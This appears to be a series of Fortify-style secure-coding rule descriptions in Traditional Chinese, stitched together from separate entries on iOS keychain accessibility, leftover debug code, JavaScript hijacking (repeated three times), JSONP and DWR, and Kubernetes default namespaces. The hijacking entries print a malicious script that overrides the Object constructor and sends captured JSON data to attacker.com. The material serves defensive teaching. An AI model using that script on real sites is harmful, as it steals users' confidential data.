將資料儲存至金鑰鏈時，需要設定定義何時可以存取項目的可存取性層級。可能的可存取性層級包括：

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
重新啟動後，無法存取金鑰鏈項目中的資料，直到使用者進行一次裝置解除鎖定。
首次解除鎖定後，資料會保持可存取狀態，直到下次重新啟動。對於背景應用程式需要存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleAlways:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
金鑰鏈中的資料僅在裝置解除鎖定時才可存取。僅當裝置設定有密碼時才可使用。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目絕不會移轉至新裝置。備份還原至新裝置後，這些項目會遺失。對於未設定密碼的裝置，沒有任何項目可儲存在此類別中。停用裝置密碼會導致此類別中的所有項目遭到刪除。
可用於 iOS 8.0 及更新版本。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
不論裝置是否已鎖定，始終可以存取金鑰鏈項目中的資料。
如果使用應用程式，則不建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlocked:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。使用加密的備份時，具有此屬性的項目會移轉至新裝置。
這是在未明確設定可存取性常數時新增的金鑰鏈項目的預設值。
可用於 iOS 4.0 及更新版本。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
金鑰鏈中的資料僅當使用者解除鎖定裝置時才可存取。
對於只需在應用程式於前景執行時可供存取的項目，建議這樣做。具有此屬性的項目不會移轉至新裝置。因此，從不同裝置的備份還原後，不會顯示這些項目。
可用於 iOS 4.0 及更新版本。

首次引入金鑰鏈保護時，預設值為 kSecAttrAccessibleAlways，這產生了一個安全性問題，因為可存取或竊取您裝置的人將能夠讀取金鑰鏈的內容。目前，預設屬性為 kSecAttrAccessibleWhenUnlocked，這是一個具有一定限制性的預設值。不過，Apple 公開說明文件對於應設定的預設屬性有異議，因此您應在所有金鑰鏈項目上明確設定此屬性以策万全。

範例 1：在以下範例中，會在未明確指定可存取性層級的情況下儲存金鑰鏈項目，這可能導致不同 iOS 版本上的行為不同。

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure Keychain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

開發作業一般會為了除錯或測試目而增加一些「後門」程式碼，這些程式碼不會隨應用程式一起提供或部署。當這類除錯程式碼意外地留在應用程式中時，會導致應用程式開放在未預期的互動模式。這些後門入口點很容易造成安全問題，因為在設計或者測試期間，並沒有將它們考慮在內，並且不會出現在應用程式設計中的操作環境中。

遭遺忘的除錯程式碼中最常見的示例，是出現在 Web 應用程式中的 main() 方法。雖然這在軟體產品的開發過程中是完全可接受的，但是屬於 J2EE 應用程式那部分的類別不應該定義 main()。

在下列情況下，應用程式可能很容易受到 JavaScript 劫持的攻擊：1) 使用 JavaScript 物件做為資料傳輸格式，2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現，因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼，喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求，若要使用 JavaScript 存取網頁的內容，則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy)，惡意網站可使用用戶端的憑證執行從其他網站載入敏感資訊的 JavaScript，從中挑選資訊，並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy)，在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料，但是它仍然可以設定環境來利用此弱點，此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用，與傳統的 Web 應用程式不同，它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構：陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式，都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易，因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式，當應用程式需要傳輸多個值時一般會使用該形式。換句話說，JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊，這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1：以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動，此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意，本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時，若沒有使用新的運算子，其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料，並使用以下的程式碼來評估 JSON 結果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

當此程式碼執行時，將產生如下的 HTTP 要求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(在此 HTTP 回應和之後的內容，我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

在此案例中，JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼，是無法存取這些資訊的。(在大部份的現代 Web 應用程式中，階段作業識別碼儲存在 cookie 中。)不過，如果一位受害者造訪了惡意的網站，此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁，則將會把受害者的重要資訊傳送到攻擊者的網站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之，系統將會處理此要求，就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時，將在惡意頁面的環境內接受評估。為了監視 JSON 的評估，惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式，惡意程式碼已插入陷阱，藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事，所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便，也可以保持安全，但兩者不可兼得。若使用者未登入易受攻擊的網站，攻擊者可能請求使用者登入，然後顯示應用程式的合法登入頁面，藉此進行彌補。

這並非網路釣魚攻擊，因為攻擊者並未取得使用者憑證的存取權，因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤，從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於，在此 mashup 情況中，涉及的其中一個應用程式是惡意的。

在下列情況，應用程式可能很容易受到 JavaScript 劫持的攻擊：
1) 使用 JavaScript 物件做為資料傳輸格式
2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現，因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼，喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求，若要使用 JavaScript 存取網頁的內容，則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy)，惡意網站可使用用戶端的憑證執行從其他網站載入敏感資訊的 JavaScript，從中挑選資訊，並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy)，在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料，但是它仍然可以設定環境來利用此弱點，此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用，與傳統的 Web 應用程式不同，它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構：陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式，都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易，因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式，當應用程式需要傳輸多個值時一般會使用該形式。換句話說，JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊，這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1：以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動，此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意，本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時，若沒有使用新的運算子，其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料，並使用以下的程式碼來評估 JSON 結果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

當此程式碼執行時，將產生如下的 HTTP 要求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(在此 HTTP 回應和之後的內容，我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

在此案例中，JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼，是無法存取這些資訊的。(在大部份的現代 Web 應用程式中，階段作業識別碼儲存在 cookie 中。)不過，如果一位受害者造訪了惡意的網站，此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁，則將會把受害者的重要資訊傳送到攻擊者的網站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之，系統將會處理此要求，就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時，將在惡意頁面的環境內接受評估。為了監視 JSON 的評估，惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式，惡意程式碼已插入陷阱，藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事，所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便，也可以保持安全，但兩者不可兼得。若使用者未登入易受攻擊的網站，攻擊者可能請求使用者登入，然後顯示應用程式的合法登入頁面，藉此進行彌補。

這並非網路釣魚攻擊，因為攻擊者並未取得使用者憑證的存取權，因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤，從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於，在此 mashup 情況中，涉及的其中一個應用程式是惡意的。

範例 2：以下程式碼顯示 Django 檢視方法範例，此方法以 JSON 陣列的形式傳送包含敏感資料的 JSON 回應。

from django.http.response import JsonResponse
...
def handle_upload(request):
  response = JsonResponse(sensitive_data, safe=False)  # Sensitive data is stored in a list
  return response

JSONP 在設計上，會允許執行跨網域要求，但缺乏限制和驗證要求來源的任何機制。惡意網站可代表使用者輕易執行 JSONP 要求並處理 JSON 回應。基於這個原因，極力建議您在傳送 PII 或敏感資料時，避免使用此通訊技術。
JSONP 在設計上是一種自我強加 XSS 攻擊，因為收回 (callback) 函數名稱需要反映給要求網站，才能正確進行 JSON 處理。為了避免 JavaScript 注入，必須要驗證和處理收回 (callback) 函數。JSONP 在設計上是一種自我強加 XSS 攻擊，因為收回 (callback) 函數名稱需要反映給要求網站，才能正確進行 JSON 處理。

DWR 所有發行的版本，包括 1.1.4 和之前的版本，都極易受到 JavaScript 劫持的攻擊[1]。直到現在，框架尚未建立任何防範此弱點的機制。好消息是 DWR 2.0 能夠透過用來防範 Cross-Site Request Forgery 的機制來防範 JavaScript 劫持的攻擊。此保護機制利用惡意的 script 無法讀取由其他網域設定的 cookie 中所儲存的機密資訊，這樣框架就能使用儲存在 cookie 中的值做為用戶端和伺服器之間共用的機密資訊。DWR 2.0 會自動附加工作階段 cookie 到用戶端的要求中，並且在伺服器上驗證每個要求皆包含正確的值。

在下列情況，應用程式可能很容易受到 JavaScript 劫持的攻擊：1) 使用 JavaScript 物件做為資料傳輸格式 2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現，因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼，喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求，若要使用 JavaScript 存取網頁的內容，則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy)，惡意的網站可使用用戶端的憑證來執行 JavaScript，從其他網站載入敏感的資訊，從中挑選出資訊並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy)，在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料，但是它仍然可以設定環境來利用此弱點，此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用，與傳統的 Web 應用程式不同，它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構：陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式，都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易，因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式，當應用程式需要傳輸多個值時一般會使用該形式。換句話說，JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊，這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1：以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動，此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意，本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時，若沒有使用新的運算子，其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料，並使用以下的程式碼來評估 JSON 結果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

當此程式碼執行時，將產生如下的 HTTP 要求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(在此 HTTP 回應和之後的內容，我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

在此案例中，JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的工作階段識別碼，是無法存取這些資訊的。(在大部份的現代 Web 應用程式中，工作階段識別碼儲存在 Cookie 中。)不過，如果一位受害者造訪了惡意的網站，此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁，則將會把受害者的重要資訊傳送到攻擊者的網站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的工作階段 Cookie。換言之，系統將會處理此要求，就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時，將在惡意頁面的環境內接受評估。為了監視 JSON 的評估，惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式，惡意程式碼已插入陷阱，藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾叫用收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事，所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便，也可以保持安全，但兩者不可兼得。若使用者未登入易受攻擊的網站，攻擊者可能請求使用者登入，然後顯示應用程式的合法登入頁面，藉此進行彌補。

這並非網路釣魚攻擊，因為攻擊者並未取得使用者憑證的存取權，因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤，從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於，在此 mashup 情況中，涉及的其中一個應用程式是惡意的。

Kubernetes 命名空間會將一個叢集劃分為多個可管理的區塊。命名空間為名稱提供了一個範圍，簡化將各種原則指定給叢集子區段。依預設，Kubernetes 會將資源配置給 default 命名空間。使用非預設命名空間的其他命名空間可以降低錯誤或惡意活動的影響。

範例 1：以下組態將資源的命名空間設定為 default。

...
kind: ...
metadata:
...
namespace: default
spec:
...